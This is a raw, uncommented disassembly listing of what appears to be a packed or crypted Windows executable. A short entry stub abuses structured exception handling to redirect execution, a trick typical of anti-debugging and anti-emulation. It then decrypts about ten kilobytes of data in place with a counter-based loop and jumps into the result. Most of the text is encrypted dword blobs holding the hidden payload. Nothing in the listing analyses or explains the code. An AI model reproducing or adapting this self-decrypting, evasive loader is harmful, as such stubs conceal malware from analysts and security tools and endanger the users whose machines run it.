		dd 0FF106132h, 52CE11EEh, 83FA9C92h, 88BD457Fh,	0EF3650DEh
		dd 0AC940059h, 0F6FD006Ah, 0E3343B5Eh, 33F00112h, 0CCB474D0h
		dd 0B65442A2h, 1FBF0E15h, 0FAF86405h, 0C16DB990h, 0A70D8Dh
		dd 0DBA09AB3h, 5C49E1C8h, 7B829CDEh, 0F597FD7Dh, 80960625h
		dd 0AFC0A669h, 0F811879Eh, 0FC387F22h, 7BC6AE1Ch, 27C2F508h
		dd 0B3842D3Eh, 0D117B874h, 0D6E0BF81h, 1417C1FCh, 4B5265FDh
		dd 0F718293Ah, 58D9A673h, 4B0D2AA5h, 3E4C537Dh,	0D1802AFh
		dd 5C2B58E6h, 6F8091A2h, 0B4149079h, 0E7F8DDA1h, 6F39FCD6h
		dd 6070B75Eh, 2F2C3D4Eh, 0DF2B4011h, 0F3041566h, 67DFF619h
		dd 0B1C2D54h, 0CE4C69FAh, 9ABECDE8h, 0CA1A6001h, 0D1FBE9ABh
		dd 40CD3CEAh, 801F7DE1h, 4E78DEDDh, 0ED1F0D34h,	7233CCF5h
		dd 0F2F9BCAEh, 2230771Ah, 0EFECFD0Eh, 0C72D44BEh, 56646B95h
		dd 254FEDBFh, 2361F0FEh, 8898DF89h, 338EF06Eh, 1E88A6ADh
		dd 5B5DD04h, 8B8CA2h, 0F5455DA0h, 27E39412h, 1B4158DEh
		dd 4F78BF69h, 23342DC2h, 18E84313h, 257C00CFh, 6D9006FFh
		dd 0A2A96C46h, 0CFE027CAh, 9FACADBEh, 30D56C80h, 59141B26h
		dd 4E55D8F2h, 7B8C93B6h, 0C485B6Ah, 0ACA531Ah, 0C5E86067h
		dd 6F7C8D9Eh, 0B13E3E5Ah, 0B9DC93ABh, 2E35B8D2h, 5B6C7396h
		dd 0EC28390Ah, 0D5EB7F01h, 45A25B84h, 547724E0h, 494A30B4h
		dd 0E5AAE790h, 0E3E2D449h, 0CAF03FE9h, 948BF12Ch, 0B3BAD43Eh
		dd 2D04A0A2h, 0CA6B0CA8h, 0FD278D6Fh, 14904D6h,	3E70B75Dh
		dd 0F11BBDE3h, 0E97D780Ah, 20A4ABD1h, 658FDDFFh, 1FB1BA3Eh
		dd 78D81FC9h, 0A2944FE8h, 557FC9C7h, 4DA1DC2Eh,	16C80FB5h
		dd 49733D3Bh, 41D55062h, 78FC0329h, 0BDE69D2Fh,	7E9C496h
		dd 55307721h, 0B64A925Dh, 3C2BB9A0h, 535A74DEh,	0F78F442h
		dd 8DCEDFEh, 0F419AA54h, 434A5CE0h, 0C00F115Ah,	91E11573h
		dd 0BA481EAAh, 43F39DE9h, 4785D221h, 6EBCC3D3h,	91789967h
		dd 0C940FA56h, 0EB147D93h, 8E61EEAAh, 0B62CE12Ah, 18597415h
		dd 0AE4AC59Ah, 2AEE550Dh, 75B9E889h, 0B93C1205h, 0E478F3C6h
		dd 9B8C9DAEh, 9637FE82h, 7EEDCAF5h, 3CF0F526h, 416AE133h
		dd 2F88D45Ah, 0E9DE867Ch
		dd 0D5D534D4h, 0FA6C7D66h, 1ECC44Ah, 0F234C706h, 0A5CBAF37h
		dd 53A0F07Eh, 266467BBh, 0C609C105h, 67946735h,	0DA7B17EFh
		dd 56F71842h, 0B8776B5h, 6F8091B6h, 1AA4BEB9h, 4FF8091Ah
		dd 0A3B4C5C3h, 0F770A154h, 1B2C3D5Eh, 0D7E80922h, 9388F7C6h
		dd 4F61F6CAh, 0B1FD53Eh, 0F39AE9FAh, 67E832B6h,	0C26E2E6Eh
		dd 0F4B81D76h, 0B7C8418Ah, 27FF95A6h, 0BA0D8146h, 0FC198E08h
		dd 0FB8FFA2h, 8223A64Ah, 1F340373h, 0E0F3FF11h,	3E4DBAD0h
		dd 103C27B0h, 906C4689h, 6401CE26h, 0C2h, 15AEh	dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_1010817
		call	sub_1010894
		mov	ebp, 1F8B2D9Ch	; DATA XREF: sub_1010817+6w
		jmp	loc_1010856
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_1010817	proc near		; CODE XREF: start+3p
		push	dword ptr fs:0
		mov	dword ptr ds:loc_101080D+1, ebp
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	80000000h
		push	40h
		push	edx
		push	edx
		push	1000h
		push	80000000h
		push	edx
		push	2
		push	edx
		push	edx
		push	2000h
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1010856:				; CODE XREF: start+12j
		mov	edi, [ebp-8]
		mov	fs:0, edi
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 9Eh


loc_1010865:				; CODE XREF: sub_1010817+4Fj
		inc	edi
		loop	loc_1010865
		call	$+5
		pop	ecx
		sub	ecx, 0FFFFFFCCh
		push	ecx
		xor	ebx, ebx
		xor	ebx, 289Ch


loc_101087D:				; CODE XREF: sub_1010817+76j
		mov	al, [ecx]
		sub	ax, di
		cld
		cld
		mov	[ecx], al
		inc	ecx
		inc	edi
		sub	ebx, 1
		or	ebx, ebx
		jnz	short loc_101087D
		pop	ecx
		leave
		jmp	ecx
sub_1010817	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1010894	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [ecx+0B8h]
		retn
sub_1010894	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 86h,	9Fh, 0A0h
		dd 2F9BA2A1h, 31A3CAA9h, 0ACDA7941h, 3A2FA5ADh,	0B4B3B2D9h
		dd 4337B6B5h, 30BFDE15h, 704817EAh, 0C4C3F194h,	9F47551Ch
		dd 4CCBCAF8h, 0D0F75C85h, 0E148BAD1h, 666ED8h, 3766DAD9h
		dd 0CB12DDDFh, 747B6DE9h, 0E7E7E60Dh, 7740451Ch, 145B6FD5h
		dd 0F47398F5h, 0FDE477F5h, 87FB3009h, 8D032279h, 3A3B9EB6h
		dd 807BF05h, 0B0FE0A09h, 100F5CF5h, 0FCDB9D11h,	1817165Ch
		dd 338FDB44h, 20201E5Ah, 0F9A8AF21h, 9F275C35h,	1C7BB433h
		dd 302F6015h, 2B721D31h, 6E6FC5BAh, 3C3B3A39h, 0CD5DB2BDh
		dd 7A7BD5F6h, 6CC3D145h, 0D7F0EE4Dh, 868E2602h,	3010DD51h
		dd 0E3578C94h, 929A2EF6h, 6F22BB5Dh, 0EE4F2592h, 8F211F57h
		dd 7C9B6A69h, 52AF446Fh, 0AFE0356Ah, 0EFDAB639h, 0E87D956Eh
		dd 1C0EF7C9h, 1CCAC35Dh, 0C5E3F60Ah, 875A3564h,	0B9697A34h
		dd 0C1BC623Dh, 8E3513Dh, 66E2CD90h, 10D5B921h, 592055F8h
		dd 0F161D9ACh, 0D4A34C75h, 6C07BEh, 4D4221C2h, 22507A55h
		dd 0B7CCF357h, 2397DACAh, 5FB8A667h, 14B2453Ch,	0B0417543h
		dd 6C06F9B4h, 847255E4h, 0E0F3061Dh, 0A77E6690h, 0E6FCB69Eh
		dd 0FC2C0E11h, 29F1F53Ch, 3AA27C1Ah, 1820A651h,	9EA2F205h
		dd 0E5DFC796h, 5224102Ah, 0BBFB4F4Dh, 2128182Ch, 507151B7h
		dd 41737E5h, 0ECE8A5F1h, 4032F3E9h, 7F855816h, 63BAFA9Fh
		dd 7218378Fh, 144F9890h, 0F00319ECh, 28AE8A5Ah,	7F2DD94h
		dd 16AC3175h, 45D3BC34h, 0F504A9EDh, 0A83B4E64h, 0F2FC30AAh
		dd 0A470B7C9h, 1323DF14h, 75911E1Fh, 0ACADE70Bh, 75EB0B20h
		dd 1B823A1Bh, 0DD539384h, 0FF8FA2C3h, 6630EE06h, 497A0A1Dh
		dd 9879B385h, 0CCBCF585h, 13FC46h, 6744209Ch, 697BA4B3h
		dd 2715F7DEh, 8558F637h, 84C5BF49h, 0A5C0A764h,	0ECED4D6Fh
		dd 1E8BA68Ah, 83677A90h, 0F395A3F8h, 9490E203h,	0C4FFA5C0h
		dd 9F374A5Dh, 1805F2D0h, 8C3775C8h, 0B94B6689h,	0CA32DCAAh
		dd 47C736E1h, 5C898295h, 3B65AB40h, 454EACBh, 7A2122B8h
		dd 0A9CE5265h, 16E306C6h, 0DDFE45CDh, 485B7936h, 0EC0F8FB6h
		dd 4538D617h, 64A59CD0h, 0BAB2E384h, 47BFDE88h,	0B38BD02Dh
		dd 0A9BC33ADh, 0E8C90916h, 682A6D28h, 0BE532D12h, 9C66467Ch
		dd 0B8CCDEF4h, 7741277Ch, 0E4B64687h, 0D3277FEDh, 889D2D3Dh
		dd 3C69F975h, 0F0DB1793h, 3C37CAD9h, 586C7E91h,	17E1C71Ch
		dd 8050E627h, 76091EB4h, 28D54E61h, 0DCEFEAC5h,	907DB6C5h
		dd 0FB4B123Eh, 103B1FDBh, 0ACC0D2E6h, 8BB5FB10h, 0EFF3A1Bh
		dd 0F7DBEF01h, 927A6422h, 30407E69h, 95D00A1Dh,	0B2ABBED3h
		dd 4682CB85h, 95DA3023h, 0B4F5D53Bh, 0EBBE5F4Ch, 321A24EAh
		dd 54DAF609h, 8497AC89h, 384B6499h, 0B0CB6025h,	8FB3129Dh
		dd 2A9238FAh, 4668BB41h, 0CFCF18E4h, 0AA082372h, 75374038h
		dd 0E837117h, 0F9FB2C7h, 765E042Eh, 78FE1A2Dh, 0A8BBD0E1h
		dd 67250720h, 6A3677h, 0EA5479FEh, 0F38BB4A0h, 422A38E2h
		dd 0E143A519h, 5CDA3F54h, 0CDD66E6Fh, 0FCFD5D67h, 2FC466E0h
		dd 3A9F841Ah, 0EEA0C951h, 2FDF2820h, 81E445D3h,	0FC06DFF4h
		dd 65760E0Fh, 9C9DFD0Bh, 41AA7F6Ch, 0B894B93Eh,	50CBF4E9h
		dd 6C7F933Dh, 4C5FA3DEh, 9362FADBh, 0D1A9AEEBh,	0BF4B52CCh
		dd 0B0DD190Ah, 3E0683E0h, 0D5536891h, 222C0DD2h, 0C0BC3FF9h
		dd 78FC9AADh, 57422CA6h, 594AE86Ch, 90A383C5h, 9FB56A7Dh
		dd 5307E5B6h, 2134B6F7h, 60816199h, 16A0E0B1h, 0A5E991Fh
		dd 0F73C04B7h, 8430035h, 0E4F739A9h, 98C50A5Ch,	4CF93610h
		dd 132621h, 0E58784F5h,	3871F8F3h, 27F9D7ACh, 538BF637h
		dd 98EFEA79h, 0B34B5E18h, 67FF7CD1h, 0FAF3F01Dh, 8669248Dh
		dd 3CB32E6Bh, 16CFE2DCh, 0DF5D47A9h, 46C4098Dh,	27EB140Ch
		dd 8BC637FEh, 40546DF5h, 0F4B4A72Dh, 11BBE4F1h,	5C6F8DEAh
		dd 0B57665D4h, 0B4D7977Eh, 0FD009E9Fh, 2C2D667Eh, 3423A690h
		dd 23819A77h, 3375E338h, 0BC8C2243h, 8CF6B40h, 64778BCDh
		dd 182B2F79h, 907C4505h, 0E7E0C896h, 4A200C1Dh,	8F987A4Ah
		dd 74FEC2B2h, 50637BDAh, 0D35F9FD4h, 4D52DEDFh,	6C6DCD0Bh
		dd 52A0E528h, 0EEE7F0E8h, 0B79D18C1h, 523A44E2h, 0F11B6F29h
		dd 7F46CADDh, 3C5F07B2h, 81468971h, 0C0E1C197h,	0D90AD080h
		dd 28096AA3h, 0AB3ED615h, 0C6AE2056h, 0D817EF7Dh, 0A68EE4CFh
		dd 0FBD544E1h, 0BA6B6A85h, 0A341E44Dh, 0BEA6908Eh, 0D04F27B5h
		dd 0A99BC93Dh, 0B7F70A1Ah, 824E2F1Ah, 5821F79Eh, 32602667h
		dd 98E3966Eh, 1B0DE1C4h, 0DDB06A21h, 0D0E304A1h, 3AE7FEEDh
		dd 8B7B0E42h, 0F7C9A7FCh, 6030C607h, 0E35E2E46h, 8713526Dh
		dd 0D2B3A472h, 0DDC0BEA9h, 338A09F4h, 0CEB6109Eh, 0D159DC5h
		dd 40544EB5h, 696EF12Dh, 0A889E9D3h, 676117ECh,	0E87C3677h
		dd 0C4BEA998h, 928B888Bh, 63FBC65h, 0E0F42E19h,	5822BAC9h
		dd 0E20B6EABh, 0CBCBAD39h, 7F8B8CCBh, 37778A69h, 0C7D5A69Ah
		dd 4154F1DCh, 80A19B81h, 64182B1Fh, 0D3C983D8h,	6032C2E3h
		dd 9D8B9A9h, 0AC5F823Dh, 0B8A232F1h, 6C75F5A5h,	20334759h
		dd 0D4E7FA0Dh, 889BAEC1h, 3C27F175h, 0F0031629h, 57051BDDh
		dd 4331F3C8h, 0B57A3253h, 35936A9Dh, 37DDBCC8h,	31C8C3E6h
		dd 0AB410223h, 0C6AE2C56h, 0ECD4F37Dh, 900B3428h, 0ACBFD2D3h
		dd 0BBCAB55Dh, 26F7EADAh, 6474442Ah, 0B2AC8992h, 151002CAh
		dd 0F3470A5Eh, 8E76DC5Eh, 0F8DCFB85h, 0C313FC70h, 0C7A89CA1h
		dd 51CDCBEh, 7E662632h,	0C4C69B73h, 18E506D0h, 6C6E4344h
		dd 0C0B27E25h, 0FE10F2CBh, 79593D8Dh, 0CEB88262h, 0FDECCEDEh
		dd 555559A9h, 0EA947E7Eh, 1508EABAh, 654F2226h,	40948D5Fh
		dd 15E4CCF0h, 5A6B330Dh, 0AF8C657Ch, 0D323F7BCh, 58380F0Fh
		dd 95A8504Eh, 0E0DCC6CCh, 41501801h, 0A66ABA69h, 0EDE7CF9Eh
		dd 61410AE1h, 73C37A4Ah, 0F8D8AFAFh, 3742F2EEh,	0A87C5A69h
		dd 0D3A579A9h, 4737FB13h, 0E8877D49h, 0F0C8BA92h, 35351ED5h
		dd 0CA174E5Eh, 0CE8CA9Ah, 201CFF0Eh, 937C7940h,	8BC9F99h
		dd 88381BEAh, 0A16C5433h, 0E2E5BF6Dh, 0A420FCFEh, 9E776350h
		dd 0CDBC9EAEh, 1925FAE5h, 99734F4Fh, 0EF3B8F94h, 352DF6F2h
		dd 69565B2Dh, 0B578F97h, 1149F2CEh, 858B3749h, 0A773AB7Eh
		dd 33DCEEEAh, 6D6F431Dh, 0E0A5837Dh, 3004FBCDh,	98632F5Ch
		dd 0DEBBAB6Eh, 0AFCDEEEh, 4170531Ah, 0C8A4A1EDh, 1810F3EDh
		dd 745B2305h, 0B5A2F64Ah, 16F400C9h, 56624724h,	0C09C5925h
		dd 1305EBA7h, 993D2936h, 0CF1B6F79h, 1B1DD6D2h,	55582B0Dh
		dd 0C39578A6h, 0C0CEBC3h, 4D35212Eh, 0A1AAB279h, 16E0E6C9h
		dd 514D2F13h, 0BDA48256h, 0F5FCECB9h, 8A35390Ch, 78A88A5Ah
		dd 0ADCC2ACh, 45472FD7h, 0A4975B92h, 9FADCAAh, 613FF135h
		dd 8F95864Fh, 0F7EAAFC0h, 373DEE51h, 9F925768h,	0D9D178ECh
		dd 34330DFFh, 8B926071h, 0AFE2B5B2h, 384044BBh,	0A96A2A49h
		dd 0D4E4A49Dh, 402BD302h, 95956F4Bh, 15DA9F99h,	3C38E1C1h
		dd 0A1634B33h, 0D5D8BF75h, 490B1DDDh, 0AB6B4E2Eh, 0F1CBA59Eh
		dd 1D2C1ADEh, 0BA5E6E4Ah, 0FCD8BA8Ah, 0DC0CEFFEh, 71786416h
		dd 0E9B0C08Dh, 3E29EDE0h, 0AC5C3E4Eh, 0D4C5AF67h, 55FBDBDAh
		dd 6B725A25h, 0D5C179B5h, 901FBD5h, 0A2F72F41h,	0B2C77F7Dh
		dd 0FC0BE5D2h, 59614F2Bh, 0D9A67F91h, 312C2D4h,	5A2F3032h
		dd 0B5B5B975h, 4AF4DEDEh, 38684A1Ah, 0BEC2866Bh, 5FFE7B6h
		dd 773E2C3Dh, 8AE815Eh
		dd 0E12D6BBh, 554F3706h, 0C78E7C8Dh, 1DFED1AEh,	6055B21Dh
		dd 0A1B0783Ch, 19DABFB9h, 47542204h, 0B0A5827Bh, 0F100C88Ch
		dd 57240F09h, 0AABB704Eh, 0FFDCB5CCh, 5429060Ch, 0CA975B92h
		dd 7EAD3AAh, 5F2CF513h,	8E9A7F55h, 23E3D89Dh, 5E412301h
		dd 0CC7C5E6Eh, 0F0CABA7Fh, 4617080Ah, 9B987148h, 0F7C696A8h
		dd 0E6324E6h, 0A9877949h, 0DBE89197h, 4A16FBF1h, 707F9459h
		dd 0F9D3A99Fh, 214902E4h, 9D7C5647h, 0CDE0E38Dh, 0A420FC04h
		dd 8D9C5257h, 0C5C8A4A2h, 322A0CDFh, 8D733B52h,	0C7E7BC88h
		dd 0DC05E700h, 82524A0Fh, 0FAB49EA6h, 2D17F0DAh, 91743E46h
		dd 0C9C5B57Eh, 30130C4Dh, 6B745C4Eh, 0AFAC869Ch, 0E1CE8D5h
		dd 0A54E5E3Ch, 0EBC49177h, 2AF8E4D1h, 53422618h, 0D5B3ADAEh
		dd 1808E2D3h, 7B432555h, 0AFB69B7Ch, 18F4D5E0h,	56624171h
		dd 0C0A2778Bh, 1410EDD9h, 685A2935h, 0A9B18763h, 0ECFC7DAh
		dd 70513906h, 0C88D6F70h, 0FB02D111h, 8C4B1730h, 0A59F9442h
		dd 8E4C8BFh, 5B523A24h,	0BA904A72h, 1000E2A5h, 69431846h
		dd 0ACA88C63h, 0EFEBB7A4h, 45493400h, 0B8846E70h, 0FCFCC2D4h
		dd 5A482212h, 8E957B55h, 0F4AEBEBAh, 186C2CEEh,	0B18B604Eh
		dd 0F4F0D4ABh, 52240A34h, 0A98F606Eh, 0F0C58BD5h, 353908E6h
		dd 0A5747C49h, 0D4E4A48Dh, 30409202h, 59638727h, 18FDECE0h
		dd 5A9BFA05h, 98924952h, 0ABE0A990h, 56B703FAh,	88A2652Eh
		dd 0F1DAA0A2h, 11B2BF2h, 9B646CADh, 0DAD8A3B2h,	3810D8EEh
		dd 78605B36h, 0E9A96ABEh, 2C28D1D0h, 81533313h,	0A1BBCB76h
		dd 0AA5A104Dh, 9E89F02Bh, 7DA9F640h, 381575BBh,	9084C94Bh
		dd 13ABD4C8h, 22DC841h,	70DA5C09h, 6E5419E5h, 0EB7BA49Ch
		dd 0DE755291h, 8958F611h, 354F9558h, 384B5E19h,	10B39F0Dh
		dd 0FAB3F0DCh, 87374B8Ah, 4496336Bh, 0EC9B6DA5h, 414340F5h
		dd 991E9D8Fh, 0D8B91943h, 0DB937648h, 765E0006h, 0EC439D2Dh
		dd 0A8285BA4h, 6F6FB8B0h, 0E223E012h, 96D7DA25h, 0C94729B1h
		dd 0DCFFBC96h, 63DB30EAh, 0AE73C20Dh, 0DD629E87h, 0FCFD5D9Bh
		dd 0E3E31A6Ch, 63370F4Fh, 0E2BA80EAh, 0F21153Dh, 585A7988h
		dd 0C3AE99AEh, 0E8589228h, 0F4FFC2D5h, 50632575h, 471FEC8h
		dd 0F8E52A7Ch, 5C7F920Dh, 72357059h, 68BFFAB7h,	229BAEE8h
		dd 6CA23375h, 1B658B20h, 4DFECAABh, 433DF3C8h, 5B9C3253h
		dd 3D4EF7E5h, 74B5AF2Dh, 0BDB05A04h, 0DCDD1215h, 6352E7CCh
		dd 0C9D23C14h, 0F8D93977h, 0D3DC616Ah, 7B4B8699h, 8F8E7964h
		dd 0BEA6D47Eh, 8E062FB5h, 88435691h, 0F3DEC917h, 835D435Ch
		dd 0CBD47293h, 130E72h,	432EE315h, 0BEF81958h, 0A12F7870h
		dd 4D038AC9h, 84AFF044h, 0E6D7C671h, 717A11FCh,	0A0C1A12Fh
		dd 4F53BA0Ah, 0E0CEBDC6h, 6B67E2F5h, 0EBCAB59Fh, 0D9FAA91Ch
		dd 0D8EBFE39h, 0E9200FC5h, 40616185h, 797C6300h, 0A889CC79h
		dd 8DC05646h, 7FD4E799h, 9A02486Ah, 5C8725B1h, 3731E73Ch
		dd 0A2180647h, 2C74BAC9h, 485B6E81h, 3FA4A3EAh,	8AC3AC04h
		dd 62041734h, 682B546Ch, 0F0BFBF37h, 39390B9h, 0FB2566A9h
		dd 0DEE6429Eh, 638F0FD5h, 864E2C06h, 0DE170E3Dh, 0D28E9BF1h
		dd 6597EA9Fh, 9D334659h, 62819BCFh, 0CBAB038Ah,	4883F75Eh
		dd 74001657h, 1DF9D2E5h, 4E2F4A1Eh, 4F412945h, 0C0D38EC6h
		dd 0F54C9AADh, 1E26CB06h, 0C748D15h, 13A38CFDh,	444F4E91h
		dd 0F854A238h, 840D2E5h, 607388A1h, 1523E2F9h, 5DE2EE01h
		dd 7C7DDD33h, 0B4B872F4h, 0E4F80EF9h, 98C56ED1h, 4C5F766Dh
		dd 52455C39h, 292EB1EDh, 6849A923h, 93A48B68h, 0D0E3F705h
		dd 86F1FBEEh, 504C4842h, 0ACFF1225h, 0DE2065ABh, 0CA677068h
		dd 0D3A704BEh, 0C0E7B6A5h, 478396AAh, 453BEF4h,	87EBFE13h
		dd 0A283E032h, 0D09F79h, 0E86A30B9h, 42E75931h,	93C05495h
		dd 56905597h, 6DD7E0D8h, 4898DE2Eh, 3ECC5193h, 5DF3DC54h
		dd 0CB797E7Ch, 0C503B2ABh, 0FC1026A4h, 0F0D641E9h, 77C09AC7h
		dd 685BEEBCh, 7CAF4235h, 0D600458Bh, 0B5475048h, 0E8FD16DDh
		dd 0C0DB41D5h, 5ED09591h, 0B7172011h, 0A4B15328h, 0AE4492B3h
		dd 4EB34655h, 1AE8AF17h, 9D1F3B4Ch, 25F26283h, 38BAEh
		dd 0D5BACAABh, 0DC1DDD5Fh, 0FB974105h, 0BFD3E6FAh, 7488AA29h
		dd 1201CE61h, 5C2D12E2h, 149AB6FFh, 44576B7Eh, 2DEB3CB1h
		dd 0BA4018B6h, 0A7A9CF69h, 0D3A2FCDAh, 87DC34BFh, 0D6E0F0E0h
		dd 3F10769h, 0B0059FB4h, 83D4BEBFh, 7BDC8146h, 7D132639h
		dd 8ACD666Ah, 7BF8A1h, 1C2F4259h, 652AA959h, 84C5A6ABh
		dd 384B6A66h, 7B7C2125h, 79B3C6D9h, 54677ADEh, 0DACB4CC2h
		dd 41C6B8BEh, 70839646h, 802F10E0h, 5CE20B05h, 8C9FB23Eh
		dd 33A046ADh, 0F3311691h, 0A8BB5A5Eh, 7C642F95h, 3D431669h
		dd 583411DEh, 64DF7D5Eh, 0ADE3C785h, 3813A50Fh,	0A5946E59h
		dd 0F85ECC02h, 51E6514Fh, 1F821C51h, 0AEA8999Dh, 182B6561h
		dd 1BB1D4D4h, 0B69EFC46h, 64874D6Dh, 0AB3E71h, 9CAFC2DEh
		dd 2E3225C5h, 0A8785961h, 9E383DF1h, 0F17FC8B9h, 53415A99h
		dd 4648356h, 599BC4B5h,	3C51625Dh, 0C6B4C7A9h, 7E44890Dh
		dd 0D56B9485h, 222AC9B2h, 79E616F9h, 0A6576B59h, 0BD427FB2h
		dd 0DCDD3DCBh, 0FFBFBA48h, 1A825CEAh, 78CE7631h, 0C2CC416Ah
		dd 233C8799h, 15013BF7h, 7BE201B8h, 19C21B1h, 63EDEA29h
		dd 37C795D8h, 84DBC1DCh, 39CA270Ah, 0AA8E2667h,	0B4C7DBF1h
		dd 6973182Ch, 0E4324255h, 4BC34134h, 25355D88h,	0DA8A631Dh
		dd 6FD5FDF2h, 1BE6D518h, 8E251D1h, 0C8B56291h, 8BE9B4A6h
		dd 9BD50BA0h, 0A1B24A2Bh, 0D8B919AFh, 0A7937648h, 472CE9C0h
		dd 0F4E1216Ch, 6734CE89h, 9BC2C598h, 0D1D2EA87h, 811B2F2Fh
		dd 979D815Ah, 0DDC1B8h,	3E4C3DEDh, 0A7966969h, 0FAE8B1D5h
		dd 50250707h, 0A3957B37h, 10CDB9C6h, 343B160Eh,	9E7C646Ch
		dd 0F2F4DAB9h, 6C33FF0Ch, 0E8876148h, 0CCAFC2D7h, 50637689h
		dd 0A87A5C66h, 0DDE4B8D7h, 482FC003h, 636C9459h, 0DEC1DAD8h
		dd 2D3318F9h, 71495242h, 10B5DB7Ch, 5DEE14FCh, 8E499E57h
		dd 0E1CBA4AEh, 0C0AB1B03h, 0A1879AADh, 36A13BE2h, 61AD0223h
		dd 90B1AB30h, 0BEE4297Dh, 0B90B342Ch, 0B86BF1CDh, 15EE8483h
		dd 1455350Fh, 0A69F9A5Ah, 0FDADCC82h, 2528759Fh, 0AA9C9700h
		dd 13ABD4C5h, 0F12E74D3h, 85888B17h, 0B4F5D148h, 5F9C1328h
		dd 95D94263h, 8E571047h, 85486553h, 88E6AD93h, 3B2A3A0Dh
		dd 0C4F74950h, 98547E95h, 81B36E9h, 0FF0DB5F5h,	2C375ACFh
		dd 9AC4095Dh, 0D3EB140Ch, 0FF942685h, 2F866863h, 0CA32189Ah
		dd 3BEBADE1h, 2B1520FDh, 101E5E40h, 8A2AEAFDh, 0CBC25D74h
		dd 0E8F3968Bh, 7660A519h, 2CA7B0A8h, 77624C04h,	0CBBD289Dh
		dd 338F5E0h, 3777808Fh,	0C8A8CB9Ah, 7DDF281Ch, 0D0C4D78Ah
		dd 0C3182B1Eh, 0DEC680AEh, 9CAA2AD5h, 23107689h, 0D64A7C7Ah
		dd 0F4FFA2D7h, 0E20C91A5h, 0F8331C94h, 0D4E7FA17h, 3A2B01F0h
		dd 0A27B505Eh, 5FB3166Ah, 7AE2C84Ah, 9EE80791h,	0B1F6860h
		dd 3548732Ah, 0ED8790A6h, 1EFF9ADEh, 5196D315h,	90B19157h
		dd 445392F0h, 6D801E31h, 0ACADEB67h, 92F81372h,	0AC273021h
		dd 0F7E2C3CAh, 0E10CE993h, 30432C7Fh, 8B948D4Dh, 98ABD4E7h
		dd 3A3C070Ah, 54432667h, 0B4A1DB97h, 687DF6F3h,	91D6C255h
		dd 0D0F1D237h, 19E16A3Ah, 80C0EB53h, 9EFF481Bh,	5528CCC3h
		dd 5495982Ah, 0D8CB648Dh
		dd 3176B4A6h, 709172E3h, 0F6C40995h, 9EEB1405h,	0A2850542h
		dd 3C2B6679h, 2B071A2Dh, 637E1D34h, 0A045B4A8h,	7F23028Dh
		dd 9A02806Ah, 7FA311B1h, 0A93F5265h, 16DBBFC6h,	0E11C93CDh
		dd 48298A83h, 0CBBCE69Dh, 0B0B7FEE0h, 1DC68A9Dh, 5D610717h
		dd 889B2031h, 155AA67Dh, 347555DBh, 6CF2CE9Eh, 9CAFC4E2h
		dd 50601E1Ch, 598C2A3Dh, 0B899D700h, 5AE41FDEh,	0F8331C8Dh
		dd 634E2F12h, 747D4B44h, 3B4F6283h, 0F00506A5h,	148B4BDDh
		dd 0AC6B7E92h, 0C2033ADh, 0C24085F9h, 0F5879081h, 283CBE1Dh
		dd 906AD215h, 0FF55B633h, 1A7B4CEAh, 41CBA331h,	2457DF32h
		dd 4F7386ACh, 0EA52B0BAh, 4BFDD901h, 9295894Ah,	49105669h
		dd 0D2528FA2h, 47DBBEBFh, 624380F2h, 0FFD3AB39h, 0B4C86369h
		dd 643B19A1h, 2CD642E0h, 0DEC27B90h, 955AA8Bh, 38197C44h
		dd 0C6FF7C26h, 8FB5F0DAh, 2A8B94FAh, 3723B141h,	0BDEF66FCh
		dd 0EDF696A9h, 0FA3D6DCAh, 2ADBE811h, 862CB1F8h, 0C5533CADh
		dd 3484296Dh, 25BBCEE2h, 72757F2Ah, 681B8749h, 0D3BEA440h
		dd 788B1259h, 921AB065h, 340FDAA2h, 5F1D4FE4h, 0B5D06E6Fh
		dd 0FCFD40C0h, 0D41BD79Ah, 0E15E4937h, 0E1116DEh, 0A4DF5C05h
		dd 8093A6C5h, 0A9AE2D1Fh, 0E8C92A2Fh, 908B865Ah, 7FB3EB0Eh
		dd 3672A0Bh, 0FC46E85Fh, 0CCC0A6C1h, 216D4861h,	0C6E9C4FFh
		dd 4C96B10Bh, 1DCF6A91h, 0E8635730h, 88F3D50Eh,	0A83DDDA1h
		dd 18EBEFCAh, 0CCABE627h, 59879AADh, 8C36447h, 0FCC5223Bh
		dd 0B5C09B03h, 29BF6263h, 2BE83EE9h, 65761CEFh,	0B773665Fh
		dd 0DFE5CF64h, 0C5CEEEFh, 7C8FA259h, 7F356D3h, 0DA84C950h
		dd 13ABD4C5h, 626CFA0Ah, 0E3135039h, 0B10085E8h, 687876F2h
		dd 410D4255h, 0A7E30065h, 4FD53F54h, 0FCCE5E5Fh, 0E71A6229h
		dd 0A0B3CDC1h, 0C50C078Dh, 0DF1B4457h, 0B25C61A8h, 0F5836CDDh
		dd 0A183881Dh, 0CEAFB27Eh, 4FC35C5h, 40533C86h,	0C2DAA7B2h
		dd 0E696CECFh, 92C0827Fh, 2290559Ch, 47D7E0D1h,	57919EE9h
		dd 0A965DDD6h, 16F73AC6h, 269C2ACDh, 0E84BC3E7h, 0CBB9539Dh
		dd 0C79577E0h, 0FBEC9340h, 93C5A952h, 49151DCCh, 0B697DA6Eh
		dd 0BBE38D6Dh, 0BB44F9D0h, 0A8AD572Ch, 0FDE376B7h, 4453F64h
		dd 0D0A5B2F2h, 6C7F07B5h, 4BC1BBD0h, 2167FADBh,	8869CC14h
		dd 3605675h, 26E9BDA6h,	0A4B7CADDh, 0ABE8C491h,	0C1F685Bh
		dd 0AF99EE62h, 7C04E1C4h, 283B646Eh, 96F0215h, 8DA3BA8Bh
		dd 0E277B987h, 0D8210DD8h, 889F384Ch, 81D0AC82h, 2847092Dh
		dd 0A8785B2Ah, 0DF6F9181h, 122002C6h, 89632B2Fh, 78A5CBB2h
		dd 6C3F92A5h, 75660600h, 0C6A48792h, 1A1CF581h,	3D452731h
		dd 0B595000Eh, 18EDCFE1h, 6B5E4315h, 0C4DF8B89h, 903D6BAh
		dd 783D1B6Dh, 0B8A39321h, 1DFBC5D2h, 90972A0Fh,	0C2987E70h
